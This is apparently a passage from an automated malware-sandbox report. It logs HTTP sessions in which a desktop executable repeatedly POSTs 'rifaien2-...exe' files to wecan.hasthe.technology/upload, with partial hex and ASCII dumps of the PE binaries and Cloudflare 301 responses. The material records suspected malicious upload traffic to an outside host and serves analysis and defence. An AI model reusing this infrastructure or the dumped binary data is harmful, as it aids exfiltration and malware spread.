Oct 10, 2024 21:03:06.542978048 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 34 38 38 38 61 35 30 63 38 32 62 61 65 32 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------84888a50c82bae2cContent-Disposition: form-data; name="file[]"; filename="rifaien2-7tNM8tQoTbkooJnZ.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:03:06.543241024 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:03:06.548291922 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:03:06.548327923 CEST	7416	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:03:06.548377037 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:03:06.548470020 CEST	7416	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:03:06.548515081 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:03:06.552969933 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:03:06.553150892 CEST	2472	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:03:06.553459883 CEST	4944	OUT	Data Raw: 85 6a fd 7f f8 f0 8b 95 e0 8a 8d d2 29 c3 29 c2 84 c9 74 20 83 bd 63 7f ec ff ab 08 75 17 85 d2 7f 17 8b 26 4b c6 00 30 48 89 0a eb f6 bf 3b fa 1f 85 d2 7e 1b 5b 11 8b b5 41 48 c6 06 30 4e 89 0a 0d 41 b3 3f 85 c0 7f eb 29 d3 3e 69 20 00 0e 7f f7 Data Ascii: j))t cu&K0H;~[AH0NA?)>i wt\GtKS%(6e%"XhKgN(Pj-'BRR+Ft PYd(Rw`0(n=?#LAtTX3s`x7V1IF%=[vuVn6
Oct 10, 2024 21:03:06.860703945 CEST	815	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:03:06 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:03:06 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ap2MLWJGEyYI1b5jctxX3D2J4DQ76JgT1ls9nRuS%2FoeZCsWfCQ4PWcuTeszZwxZl23Jluy60ymzD1w1WUfc2DueM%2Bq9%2FGG8zGA4mVrBN649Ahfv9Yo0hxlQMALaHucgRXD8uB%2Fa3r98F2Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08de58ffa04333-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	50670	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:03:06.998606920 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------4246ecac0e2175da
Oct 10, 2024 21:03:07.443677902 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:03:07.444369078 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 34 32 34 36 65 63 61 63 30 65 32 31 37 35 64 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------4246ecac0e2175daContent-Disposition: form-data; name="file[]"; filename="rifaien2-7c2sZoOt8ZtCld1t.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:03:07.444487095 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:03:07.449650049 CEST	7416	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:03:07.449692011 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:03:07.449732065 CEST	4944	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:03:07.449759007 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:03:07.449788094 CEST	4944	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:03:07.454240084 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:03:07.454534054 CEST	2472	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:03:07.454900026 CEST	4944	OUT	Data Raw: 85 6a fd 7f f8 f0 8b 95 e0 8a 8d d2 29 c3 29 c2 84 c9 74 20 83 bd 63 7f ec ff ab 08 75 17 85 d2 7f 17 8b 26 4b c6 00 30 48 89 0a eb f6 bf 3b fa 1f 85 d2 7e 1b 5b 11 8b b5 41 48 c6 06 30 4e 89 0a 0d 41 b3 3f 85 c0 7f eb 29 d3 3e 69 20 00 0e 7f f7 Data Ascii: j))t cu&K0H;~[AH0NA?)>i wt\GtKS%(6e%"XhKgN(Pj-'BRR+Ft PYd(Rw`0(n=?#LAtTX3s`x7V1IF%=[vuVn6
Oct 10, 2024 21:03:07.778572083 CEST	819	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:03:07 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:03:07 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YQ54pzsXQZOgeGs%2BUiq0CmECKSkSM3rjCJez4j%2FHGeZLFNe%2BbjvFbZxj71UoQwiJdAQejitmgDEQfxvzoBbqrheLII6JaXz%2BcMz6%2FVBdmnzhmmkCJWXc%2FzikvBiE2Z9WbCfqkqxSkUEzyA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08de5f5b3841a6-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	50671	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:03:08.201709032 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------613482adbc0749ad
Oct 10, 2024 21:03:08.672961950 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:03:08.673592091 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 36 31 33 34 38 32 61 64 62 63 30 37 34 39 61 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------613482adbc0749adContent-Disposition: form-data; name="file[]"; filename="rifaien2-9PANsJP5rpGyNZO8.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:03:08.673801899 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:03:08.678951979 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:03:08.679011106 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:03:08.679042101 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:03:08.679104090 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:03:08.679132938 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:03:08.679161072 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:03:08.679224014 CEST	4944	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:03:08.683803082 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:03:09.033313036 CEST	817	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:03:09 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:03:08 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DgJoTS5fBZwkxxMgPwnARInzXV%2BwGuYj8RAg8t1cY%2BQFvHBu5bKoP784IxMoX4eE8TYYtr7WMQjt0kdUo74yqdA%2F2pavJApUMBOBFruq%2BgqdhnElwqqkgaoYM5GuHgg%2FM3L6VxkrqAIOwA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08de66fa9a18f2-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	50672	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:03:09.167598009 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------3cd2a45a6b5dd9a8
Oct 10, 2024 21:03:09.630937099 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:03:09.631690025 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 33 63 64 32 61 34 35 61 36 62 35 64 64 39 61 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------3cd2a45a6b5dd9a8Content-Disposition: form-data; name="file[]"; filename="rifaien2-3Yd5eRNryysSeb1S.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:03:09.631799936 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:03:09.636938095 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:03:09.636986971 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:03:09.637048006 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:03:09.637078047 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
